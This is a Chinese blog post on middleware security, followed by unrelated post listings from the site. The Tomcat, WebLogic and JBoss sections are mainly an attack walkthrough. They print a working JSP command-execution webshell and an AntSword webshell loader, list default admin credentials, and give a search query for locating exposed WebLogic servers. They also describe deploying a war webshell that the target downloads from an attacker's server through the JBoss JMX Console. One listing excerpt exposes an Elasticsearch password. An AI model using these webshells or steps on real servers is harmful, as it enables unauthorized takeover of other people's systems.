当前位置：首页 > news >正文

中间件安全

news 来源：原创 2025/5/25 8:26:44

一.中间件概述

1.中间件定义

介绍：中间件（Middleware）作为一种软件组件，在不同系统、应用程序或服务间扮演着数据与消息传递的关键角色。它常处于应用程序和操作系统之间，就像一座桥梁，负责不同应用程序间的数据传递、通信协调以及网络请求处理

2.中间件的架构与功能

插件式架构：中间件采用插件式架构，这使得开发人员能轻松将其集成到现有的应用程序里，大大提升了开发的灵活性。
多样化功能
- 身份验证与授权：通过身份验证确认用户合法性，再依据授权机制分配不同权限，确保只有合法且权限匹配的用户能访问特定资源。比如企业办公系统，员工凭借用户名和密码登录（身份验证），不同级别员工拥有不同操作权限（授权）。
- 缓存：缓存常用数据，减少对后端数据库等存储的频繁访问，显著提高系统响应速度。如新闻类应用，将热门文章缓存，用户再次浏览时可快速加载。
- 负载均衡：把网络请求均匀分散到多个服务器，避免单个服务器负载过重，保障系统在高并发下的稳定运行。以大型电商平台为例，促销活动期间大量用户访问，负载均衡器将请求合理分配。
- 日志记录：详细记录系统运行中的各类事件，为故障排查、安全审计提供有力依据。如记录服务器上用户的操作行为、登录时间等。
- 安全性保障：提供基础的安全防护，抵御部分常见网络攻击。

3.中间件范畴

广义范畴：从广义视角，中间件涵盖了 Web 服务器、身份验证系统、消息传递工具等众多内容。
具体产品：常见的中间件产品包括 jboss、weblogic、tomcat、apache 等。应用中间件能够有效提升应用程序在可扩展性、可靠性、可维护性以及安全性方面的表现。

二.漏洞剖析

1.漏洞危害

介绍：中间件漏洞指的是中间件软件中存在的安全隐患，攻击者可能利用这些漏洞对系统展开攻击与渗透，从而危及系统安全和数据完整性。

2.漏洞类型

代码注入漏洞：攻击者向中间件发送恶意代码，借此执行任意代码或获取敏感数据。例如，早期一些未严格过滤输入的 Web 应用，攻击者通过在输入框注入代码，获取数据库关键信息。
跨站脚本漏洞（XSS）：攻击者在中间件输出的网页中插入恶意脚本，可窃取用户信息，如会话 Cookie，或进行恶意重定向等行为。一些小型论坛因缺乏对用户输入内容的有效过滤，曾遭受此类攻击。
SQL 注入漏洞：在中间件处理 SQL 查询时，攻击者插入恶意代码，实现执行任意 SQL 查询，获取数据库敏感数据。如某些管理系统，因对用户输入的查询条件未做严格验证，导致数据库被非法访问。
认证和授权漏洞：攻击者利用中间件认证与授权机制的缺陷，绕过访问控制，获取系统高级权限。比如某些系统中，攻击者通过篡改认证令牌获取管理员权限。
文件包含漏洞：攻击者利用中间件的文件包含功能，引入恶意文件并执行其中代码。在一些内容管理系统中，攻击者通过此漏洞上传恶意脚本文件，实现对系统的控制。

3.防御措施

安全编码：开发人员遵循安全编码规范，对用户输入进行严格验证和过滤，从源头防止恶意代码注入。
定期更新：及时安装中间件供应商发布的安全补丁，修复已知漏洞，保持中间件的安全性。
权限管理：合理设置用户权限，遵循最小权限原则，仅赋予用户完成任务所需的最低权限。
防火墙配置：通过配置防火墙，对中间件的网络访问进行精细控制，阻挡外部非法访问。
漏洞扫描：借助专业的漏洞扫描工具，定期对中间件进行全面检测，及时发现并修复潜在漏洞。

三.中间件漏洞

1.Tomcat

A.Tomcat

介绍：Tomcat 是一个开源的 Java Servlet 容器，由 Apache 软件基金会开发。Tomcat 对多种 Java 技术提供支持，包括 Java Servlet、JavaServer Pages（JSP）、Java Expression Language（EL）和 WebSocket 等，并且拥有许多企业级特性，如集群、安全性和可扩展性，这使其在 Java Web 开发中应用广泛。
使用：
- 可作为独立的 Web 服务器或应用服务器运行。
- 也能作为插件集成到其他 Web 服务器，例如 Apache HTTP Server。

B.WAR包

介绍：WAR（Web Application Archive）是 Web 应用程序的一种打包格式，作用是将 Web 应用程序打包成单个文件，极大地方便了应用程序的部署与分发。从本质上讲，WAR 文件属于 JAR（Java Archive）文件的一种，其中包含了 Web 应用程序运行所需的全部内容。
- 代码相关：Java 类文件，是应用程序逻辑实现的核心部分。
- 页面相关：HTML、JSP 文件，用于构建用户界面，展示内容给用户。
- 配置相关：Servlet、XML 配置文件（如 web.xml、context.xml 等），用于配置 Web 应用程序的各种参数和运行规则，决定应用程序如何运行。
- 静态资源：包含图片、CSS、JavaScript 文件等，用于美化界面和实现交互功能。

C.WAR包上传

制作WAR包：将jsp木马文件进行压缩后，将压缩文件 .zip 改为 .war

jsp文件内容：

<%@ page import="java.io.BufferedReader, java.io.InputStreamReader, java.io.IOException" %>
<%String cmd = request.getParameter("cmd");if (cmd != null) {try {Process process = Runtime.getRuntime().exec(cmd);BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = reader.readLine()) != null) {out.println(line);  // 输出命令执行结果}reader.close();  // 关闭资源} catch (IOException e) {out.println("Error executing command: " + e.getMessage());}}
%>

找到上传点进行上传
上传成功
调用一句话木马文件，并成功执行命令

2.Weblogic

介绍： WebLogic Server 是美国甲骨文（Oracle）公司开发的一款适用于云环境和传统环境的应用服务中间件，确切的说是一个基于 JavaEE 架构的中间件，它提供了一个现代轻型开发平台，用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和 Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
特征：
1. 默认端口：7001
2. Web界面：Error 404--Not Found
3. 控制后台：http://ip:7001/console
历史漏洞
影响版本
- 10.3.6.0
  12.1.3.0
  12.2.1.1
  12.2.1.2
  12.2.1.3
  14.1.1.0
漏洞寻找
1. 获取资产：shodan、fofa、zoomeye等
  - 示例：fofa：app="BEA-WebLogic-Server" && country!="CN"
2. 批量扫描脚本：Weblogic一键漏洞检测工具_V1.5
漏洞环境搭建
- docker pull vulhub/weblogic:10.3.6.0-2017
  
  docker run -dit -p 7001:7001 vulhub/weblogic:10.3.6.0-2017

A.弱口令

介绍：Weblogic存在管理后台，通过账号密码登录，由于管理员的疏忽，经常会使用弱口令，或者默认的账户名密码。
- 默认账密：
  
  访问路径：/console
  
  账号：weblogic
  
  密码：Oracle@123
Weblogic 默认口令：
- system/password
  
  system/Passw0rd
  
  weblogic/weblogic
  
  admin/security
  
  joe/password
  
  mary/password
  
  system/security
  
  wlcsystem/wlcsystem
  
  wlpisystem/wlpisystem
  - 参考链接：https://cirt.net/passwords?criteria=weblogic

B.GetShell

准备 .jsp 一句话木马文件

<%@ page import="java.io.BufferedReader, java.io.InputStreamReader, java.io.IOException" %>
<%String cmd = request.getParameter("cmd");if (cmd != null) {try {Process process = Runtime.getRuntime().exec(cmd);BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = reader.readLine()) != null) {out.println(line);  // 输出命令执行结果}reader.close();  // 关闭资源} catch (IOException e) {out.println("Error executing command: " + e.getMessage());}}
%>

登录后台后，点击部署
点击安装
点击上载文件
上传完，并测试

getshell

注意：上面的 .jsp 文件不支持蚁剑，蚁剑连接必须使用下面的 yijian.jsp 或蚁剑插件生成的jsp webshell

<%@ page import="java.lang.reflect.Method" %>
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%><%String cls = request.getParameter("ant");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

3.JBoss漏洞

介绍：JBoss是一个用于管理EJB（Enterprise JavaBeans）的容器和服务器。它专注于企业级Java应用的开发与部署，本身核心服务并不包含支持servlet/JSP的WEB容器，在实际应用中，通常会与Tomcat或Jetty绑定使用，就如同Apache是常见的web服务器，而JBoss则是专门用来运行Java EE程序的应用服务器。
历史漏洞：
1. 访问控制不严导致的漏洞
  - JMX Console 未授权访问 Getshell：Jboss 的 webUI 界面http://ip:port/jmx-console存在未授权访问情况，甚至部分存在默认密码admin/admin。这一漏洞会导致 JBoss 的部署管理信息泄露，攻击者还能借此直接上传木马获取 webshell。
  - Administration Console 弱口令 Getshell：由于用户设置的口令强度不足，攻击者通过简单的猜测或暴力破解，利用弱口令登录 Administration Console，进而获取服务器权限，实现 Getshell。
  - CVE - 2007 - 1036 -- JMX Console HtmlAdaptor Getshell：此漏洞与 JMX Console 的 HtmlAdaptor 相关，攻击者利用该漏洞可以在未授权的情况下获取服务器的控制权，实现 Getshell 操作。
  - CVE - 2010 - 0738 -- JMX 控制台安全验证绕过漏洞：通过特定的手段，攻击者能够绕过 JMX 控制台的安全验证机制，获取对控制台的访问权限，从而进一步实施攻击行为。
2. 反序列化漏洞
  - CVE - 2013 - 4810 -- JBoss EJBInvokerServlet 反序列化漏洞：JBoss 的 EJBInvokerServlet 存在反序列化漏洞，攻击者可以构造恶意的反序列化数据，利用该漏洞执行任意代码，进而控制服务器。
  - CVE - 2015 - 7501 -- JBoss JMXInvokerServlet 反序列化漏洞：在 JMXInvokerServlet 中，由于反序列化机制的缺陷，攻击者可以发送精心构造的请求，触发反序列化漏洞，实现对服务器的攻击。
  - CVE - 2017 - 7504 -- JBoss 4.x JBossMQ JMS 反序列化漏洞：针对 JBoss 4.x 版本的 JBossMQ JMS 组件，存在反序列化漏洞，攻击者可以利用该漏洞进行远程代码执行，对服务器造成严重威胁。
  - CVE - 2017 - 12149 -- JBosS AS 6.X 反序列化漏洞：在 JBosS AS 6.X 版本中，存在反序列化漏洞，攻击者可以通过发送恶意请求，利用该漏洞获取服务器的控制权。
JBoss 漏洞检测工具：一个简单探测jboss漏洞的工具

A.JMX Console 未授权访问漏洞利用

漏洞利用工具
- 自动化利用：使用https://gitee.com/yijingsec/JbossVulExploit进行自动化利用。具体步骤如下：
  - 首先，将文件夹里的bx3.war放到自己的公网服务器上，然后使用 python 启动一个 http 服务，用于提供 war 包的下载。
  - 运行脚本，在脚本中设置Set target url为目标网站，Set vps ip为 war 包所在的 http 服务的 ip，Set vps httpServer port为所启动的 http 服务的端口。完成设置后，即可自动利用漏洞进行攻击，攻击成功后，可使用冰蝎进行连接，获取服务器的控制权。
手动利用
- 远程部署 war 包：
  - 找到jboss.deployment选项（Jboss 自带的部署功能）中的flavor = URL,type = DeploymentScanner点进去（通过 url 的方式远程部署）。也可以直接输入以下 URL 进入：http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL。
  - 进入页面后找到void addURL()，开始部署远程的 war 包木马。具体操作如下：
    - 打包 jsp 马为 war 包：jar -cvf shell.war shell.jsp
    - 在 vps 上启动 web 服务：python -m http.server
    - 确定 war 包下载地址：http://vps - IP:8000/shell.war
    - 点击Invoke部署 war 包。
  - 随后点击Back to MBean View来到URLList中查看Value值是否已经部署好，并且为远程 war 木马地址。
  - 最后点击Apply Changes后耐心等待一会儿（等待时间较长），然后回到JMX - Console目录中，找到jboss.web.deployment查看是否存在部署的 war 木马。若存在，则表示部署成功，攻击者可以进一步利用该 war 包获取服务器的控制权。

中间件安全

一.中间件概述 1.中间件定义介绍：中间件（Middleware）作为一种软件组件，在不同系统、应用程序或服务间扮演着数据与消息传递的关键角色。它常处于应用程序和操作系统之间，就像一座桥梁，负责不同应用程序间…...

编程日记 2025/5/25 8:26:44

从根源分析，调试，定位和解决MacOS ld: unsupported tapi file type ‘!tapi-tbd‘ in YAML file

你要是遇到同样错误，找一圈都没有解决，建议认真读一下本文，这个应该是最终极的解决办法，从原理上剖析了产生的原因，同时给出来了调试和定位的办法。 maccos使用brew安装了一个gcc14, 结果编译一个最简单的程序都报错&a…...

编程日记 2025/5/24 8:36:41

Linux的权限和一些shell原理

目录 shell的原理 Linux权限 sudo命令提权权限文件的属性⽂件类型： 基本权限： chmod改权限 umask chown 该拥有者 chgrp 改所属组最后： 目录权限粘滞位 shell的原理我们广义上的Linux系统 Linux内核Linux外壳 Linux严格…...

编程日记 2025/5/25 8:13:08

构建企业级React应用的进阶实践

构建企业级React应用的进阶实践在当今前端开发领域，React凭借其组件化架构和声明式编程范式，已成为构建复杂用户界面的首选方案。本文将深入探讨React的高级应用场景，通过一系列精心设计的代码示例，展示如何打造高性能、可维护的…...

编程日记 2025/5/19 5:51:31

2024年度总结：技术探索与个人成长的交织

文章目录前言年度创作回顾：技术深耕与分享数据库技术：MySQL 与 MyBatisJava 及相关技术栈计算机网络：构建网络知识体系思维方式的转变：构建技术知识体系的桥梁项目实践：人工智能与智慧医疗的碰撞生活与博客的融合与平…...

编程日记 2025/5/18 4:53:27

mysql-06.JDBC

目录什么是JDBC: 为啥存在JDBC: JDBC工作原理： JDBC的优势： 下载mysql驱动包： 用java程序操作数据库 1.创建dataSource: 2.与服务端建立连接 3.构造sql语句 4.执行sql 5.关闭连接，释放资源参考代码： 插…...

编程日记 2025/5/19 23:29:17

arm-linux平台、rk3288 SDL移植

一、所需环境资源 1、arm-linux交叉编译器，这里使用的是gcc-linaro-6.3.1 2、linux交叉编译环境，这里使用的是Ubuntu 20.04 3、sdl2源码 https://github.com/libsdl-org/SDL/archive/refs/tags/release-2.30.11.tar.gz 二、代码编译 1、解压sdl2源码…...

编程日记 2025/5/23 8:24:22

CentOS 上安装 Go (Golang)

1. 检查系统环境确保系统为 CentOS 7 或 CentOS 8，或者其他兼容的 Linux 发行版。 cat /etc/os-release2. 安装依赖安装一些必要的工具： sudo yum update -y sudo yum install -y wget tar3. 下载 Go 从 Go 官方下载页面获取适用于 Linux 的最新版…...

编程日记 2025/5/21 2:28:37

小哆啦解题记：整数转罗马数字

小哆啦解题记：整数转罗马数字小哆啦开始力扣每日一题的第十四天 https://leetcode.cn/problems/integer-to-roman/submissions/595220508/ 第一章：神秘的任务一天，哆啦A梦接到了一项任务——将一个整数转换为罗马数字。他心想：…...

编程日记 2025/5/22 19:43:05

碰撞体问题

用点检测2d物体是否有物体功能要求是点击空白处取消选中，点击棋子选中所以我做了一个射线检测。但是脑子的惯性让我用的是3D的射线检测。但我们这是一个2D游戏啊。 Vector3 mousePos pos;mousePos.z 10f; // 假设你需要转换到距离相机10单位的世界位置Vector3 …...

编程日记 2025/5/25 0:54:39

HTML＜label＞标签

例子三个带标签的单选按钮： <form action"/action_page.php"> <input type"radio" id"html" name"fav_language" value"HTML"> <label for"html">HTML</label><br&…...

编程日记 2025/5/23 20:13:47

「机器人」利用数据驱动模型替代仿真器：加速策略训练并降低硬件依赖

前言在强化学习（Reinforcement Learning, RL）中，策略训练需要大量的交互数据（状态、动作、奖励、下一状态），而这些数据通常来自仿真器或真实硬件。传统高保真仿真器虽然能在一定程度上模拟飞行器的动力学，但往往计算量大、开发成本高，且仍可能与真实环境存在差距。为此…...

编程日记 2025/5/23 17:09:26

.Net Core微服务入门全纪录（六）——EventBus-事件总线

系列文章目录 1、.Net Core微服务入门系列（一）——项目搭建 2、.Net Core微服务入门全纪录（二）——Consul-服务注册与发现（上） 3、.Net Core微服务入门全纪录（三）——Consul-服务注…...

编程日记 2025/5/21 16:54:30

QD Laser携“Lantana”激光器参展SPIE光子学西部展2025，聚焦紧凑型设计

据悉，QD Laser公司将在2025年SPIE光子学西部展览会上展出其最新产品——世界最小一体化紧凑型可见光激光器“Lantana”。该展会将于1月28日至30日在旧金山的Moscone中心举行。在展会期间，QD Laser公司将现场展示这款超小型、轻便设备—— “Lantana”。…...

编程日记 2025/5/23 8:56:04

Docker + Nginx 部署个人静态博客指南

本文是一个使用 Docker 和 Nginx 部署个人静态博客的指南。通过本指南，您可以快速了解如何使用 Docker 和 Nginx 部署自己的静态博客网站。前提在开始使用本指南之前，请具备以下前提： 首先你得有个服务器服务器已经安装好Git、Vim等工具一…...

编程日记 2025/5/20 8:18:33

springboot3 集成 knife4j（接口文档）

提示：文章是集成 knife4j，而非 swagger2 或者 swagger3，效果如图文章目录前言一、添加依赖二、如何集成1.配置文件2.注解部分1.Tag2.Operation3.Parameter4.Schema 3.使用总结前言提示：：大家在开发阶段&#xff…...

编程日记 2025/5/23 3:51:18

7.x from elasticsearch import Elasticsearch# 配置 Elasticsearch 连接 # 替换为你的 Elasticsearch 地址、端口、用户名和密码 es Elasticsearch([http://10.10.x.x:43885],basic_auth(admin, XN272G9THEAPYD5N5QORX3PB1TSQELLB) )# # 测试连接 # try: # # 尝试获取集…...

编程日记 2025/5/18 3:48:29

单路由及双路由端口映射指南

远程登录总会遇到登陆不上的情况，可能是访问的大门没有打开哦，下面我们来看看具体是怎么回事？ 当软件远程访问时，主机需要两个条件，一是有一个唯一的公网IP地址（运营商提供），二是开…...

编程日记 2025/5/24 23:16:21

基于Springboot + vue实现的民俗网

“前些天发现了一个巨牛的人工智能学习网站，通俗易懂，风趣幽默，忍不住分享一下给大家。点击跳转到网站：人工智能学习网站” 💖学习知识需费心， 📕整理归纳更费神。 🎉源码免费人人喜…...

编程日记 2025/5/25 0:47:21

動態住宅IP提升網站訪問成功率

動態住宅IP通常與普通家庭用戶的網路連接相關聯。這種IP地址的特點在於，它是動態變化的，用戶在每次連接時可能會獲得不同的IP地址。這與靜態IP形成了鮮明對比，後者在連接期間保持不變。傳統上，IP地址分為住宅IP和數據中心IP兩類。…...

编程日记 2025/5/25 0:20:39

Java集合学习：HashMap的原理

一、HashMap里的Hash是什么？ 首先，我们先要搞清楚HashMap里的的Hash是啥意思。当我们在编程过程中，往往需要对线性表进行查找操作。在顺序表中查找时，需要从表头开始，依次遍历比较a[i]与key的值是否相等&#xff…...

编程日记 2025/5/20 20:40:11

使用rsync+inotify简单实现文件实时双机双向同步

使用rsyncinotify简单实现文件实时双机双向同步实现思路使用inotify-tools的inotifywait工具监控文件变化，触发后使用rsync做同步。加入系统服务项，实现实时监听，方便管理。以下配置操作，单向同步，只需在单边部…...

编程日记 2025/5/19 4:47:11

[JavaScript] ES6及以后版本的新特性

文章目录箭头函数（Arrow Functions）为什么需要箭头函数？箭头函数的完整语法箭头函数中的 this实用场景解构赋值（Destructuring Assignment）为什么需要解构赋值？数组解构赋值的完整用法对象解构赋值的完整…...

编程日记 2025/5/19 1:41:38

IO进程寒假作业

一、请使用消息队列实现2个终端之间互相聊天 #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <sys/wait.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> …...

编程日记 2025/5/23 3:53:03

无公网IP 外网访问媒体服务器 Emby

Emby 是一款多媒体服务器软件，用户可以在 Emby 创建自己的个人多媒体娱乐中心，并且可以跨多个设备访问自己的媒体库。它允许用户管理传输自己的媒体内容，比如电影、电视节目、音乐和照片等。本文将详细的介绍如何利用 Docker 在本地部署 Emb…...

编程日记 2025/5/24 16:08:27

【2025小年源码免费送】

💖学习知识需费心， 📕整理归纳更费神。 🎉源码免费人人喜， 🔥码农福利等你领！ 💖山高路远坑又深， 📕大军纵横任驰奔， 🎉谁敢横刀立马行…...

编程日记 2025/5/19 20:08:12

哈希表示例

示例1 两数之和 "两数之和"（Two Sum）是LeetCode上的一个经典算法问题，编号为1，它要求在一个整数数组nums中找到两个不同的索引i和j，使得nums[i] nums[j] target。问题描述： 给定一个整数数…...

编程日记 2025/5/22 5:15:52

VS企业版和专业版的区别

网上查询vs分析dump文件，查找托管内存泄露，需要使用“调试托管内存”功能，当前安装的vs2022 专用版找不到这个选项，vs2015是ok的，比较版本发现2022是专业版，2015是企业版。网上搜索专业版和企业版差异如下&…...

编程日记 2025/5/21 4:47:36

YOLOv10-1.1部分代码阅读笔记-train.py

train.py ultralytics\models\yolov10\train.py 目录 train.py 1.所需的库和模块 2.class YOLOv10DetectionTrainer(DetectionTrainer): 1.所需的库和模块 from ultralytics.models.yolo.detect import DetectionTrainer from .val import YOLOv10DetectionValidator fr…...

编程日记 2025/5/24 15:42:23

autogen 自定义agent (1)

目录第一个自定义agent：CountDownAgent代码运行逻辑1. 创建 CountDownAgent 代理2. 处理消息3. 运行 CountDownAgent 另一种调用方式类似的agent: CountUpAgent 第一个自定义agent：CountDownAgent from typing import AsyncGenerator, List, Sequence,…...

编程日记 2025/5/19 13:22:23

ssh密钥登录GitHub时一直提示“Error: Permission denied (publickey)”

起因环境：Windows10 背景：之前就是按照官方说明创建个rsa密钥，在git后台添加上，就行了，近期怎么添加怎么失败，总是“Error: Permission denied (publickey)”的提示！ 尝试各种尝试&#xf…...

编程日记 2025/5/20 22:14:10

多模态数据融合的基本流程与关键环节

多模态数据融合作为人工智能的重要技术方向，不仅整合了视觉、语言、语音、传感器等多种模态的数据，还通过合理的融合方法让机器获得更全面的感知能力。那么，多模态数据融合的过程是怎样的？有哪些关键环节需要注意？今天…...

编程日记 2025/5/24 5:30:19

k8s 蓝绿发布、滚动发布、灰度发布

在Kubernetes（k8s）中，蓝绿发布、滚动发布、灰度发布（金丝雀发布）是三种常见的应用部署和更新策略。下面将分别对这几种发布方式进行说明，并给出相应的例子。蓝绿发布蓝绿发布是一种无缝切换版本的部署策…...

编程日记 2025/5/25 7:58:20

【PyCharm】连接Jupyter Notebook

【PyCharm】相关链接【PyCharm】连接 Git【PyCharm】连接Jupyter Notebook【PyCharm】快捷键使用【PyCharm】远程连接Linux服务器【PyCharm】设置为中文界面【PyCharm】连接Jupyter Notebook PyCharm连接Jupyter Notebook的过程可以根据不同的需求分为本地连接和远程连…...

编程日记 2025/5/12 22:38:30

【miniconda】：langraph的windows构建

langraph需要python3.11 langraph强烈建议使用py3.11 默认是3.12 官方下载仓库下载老版本的python （后续发现新版miniconda也能安装老版本的python）在这里...

编程日记 2025/5/20 9:21:36

NRF52840 USB Dongle 进行蓝牙抓包

1、可视化抓包官方的工具链接：RF Connect for Desktop ，之后使用 bluetooth Low Energy 即可查看抓包数据。不做说明。本节主要说明，使用wireshark进行抓包数据的显示。 1.1、硬件 Nordic Semiconductor 官网链接的截图如下。国内封装…...

编程日记 2025/5/15 23:53:12

【C++】详细讲解继承（下）

本篇来继续说说继承。上篇可移步至【C】详细讲解继承（上） 1.继承与友元友元关系不能继承 ，也就是说基类友元不能访问派⽣类私有和保护成员。 class Student;//前置声明class Same //基类 { public:friend void Fun(const Same& p, con…...

编程日记 2025/5/21 20:30:05

OS Copilot功能测评：智能助手的炫彩魔法

简介： OS Copilot 是一款融合了人工智能技术的智能助手，专为Linux系统设计，旨在提升系统管理和运维效率。本文详细介绍了在阿里云ECS实例上安装和体验OS Copilot的过程，重点评测了其三个核心参数：-t（模式…...

编程日记 2025/5/19 17:03:27

Gin 学习笔记

教程地址：https://www.bilibili.com/video/BV1FV4y1C72M?spm_id_from333.788.videopod.sections&vd_source707ec8983cc32e6e065d5496a7f79ee6 01-项目搭建各常用目录的说明： https://github.com/golang-standards/project-layout/blob/master/REA…...

编程日记 2025/5/21 17:52:44

windows在命令行中切换盘符

一、问题描述我们在使用windows的cmd（命令行）时，经常需要用cd命令在不同盘之间切换路径。但有时在不同盘之间切换时，会发现命令不起作用。如下图所示，直接切换目录还是停留在原来的位置。二、解决方法首先切换盘符…...

编程日记 2025/5/19 8:57:01

OpenAI模块重构

文章目录 1.common-openai-starter1.目录结构2.OpenAiProperties.java 新增apiUrl3.OpenAIAutoConfiguration.java4.OpenAiClient.java 使用gson重构 2.common-openai-starter-demo1.目录结构2.application.yml 新增api-url3.OpenAiController.java4.OpenAiApplication.java5.测…...

编程日记 2025/5/25 6:25:48

表的增删改查（MySQL）

1. 表的增删改查 CRUD : Create(创建), Retrieve(读取)，Update(更新)，Delete（删除） 1.1 Create 语法： INSERT [INTO] table_name [(column [, column] ...)] VALUES (value_list) [, (value_list)] ...value_list:…...

编程日记 2025/5/20 13:56:53

Go 不可重复协程安全队列

代码实现 package dataStructimport ("errors""sync" )// GenericQueue 是一个支持泛型的不可重复队列，具有最大长度限制 // T 是泛型参数 type GenericQueue[T comparable] struct {items map[T]struct{} // 使用 map 来存储元素order []…...

编程日记 2025/5/22 7:04:51

每日一题 419. 棋盘上的战舰

419. 棋盘上的战舰简单 class Solution { public:int countBattleships(vector<vector<char>>& board) {int ans 0;for(int i0;i<board.size();i){for(int j0;j<board[0].size();j){if(board[i][j] X){dfs(board,i,j);ans;}}}return ans;}void dfs(…...

编程日记 2025/5/22 20:12:28

spring cloud alibaba 使用示例

spring cloud alibaba example spring cloud alibaba nacos 配置中心、spring cloud alibaba nacos 服务注册与发现、openfeign 服务调用、spring cloud loadbalancer 负载均衡、spring cloud alibaba sentinel 限流降级、spring cloud alibaba seata 分布式事务、spring clou…...

编程日记 2025/5/20 20:58:02

Python数据分析-Python语法基础，IPython和Jupyter-Notebooks（二）

title: ‘Python数据分析:Python语法基础，IPython和Jupyter Notebooks（二）’ tags: python数据分析 categories:python数据分析 keywords:python数据分析 cover: …/img/404_icecream_whale.png description: 本文介绍python的基础语法和jup…...

编程日记 2025/5/23 4:34:54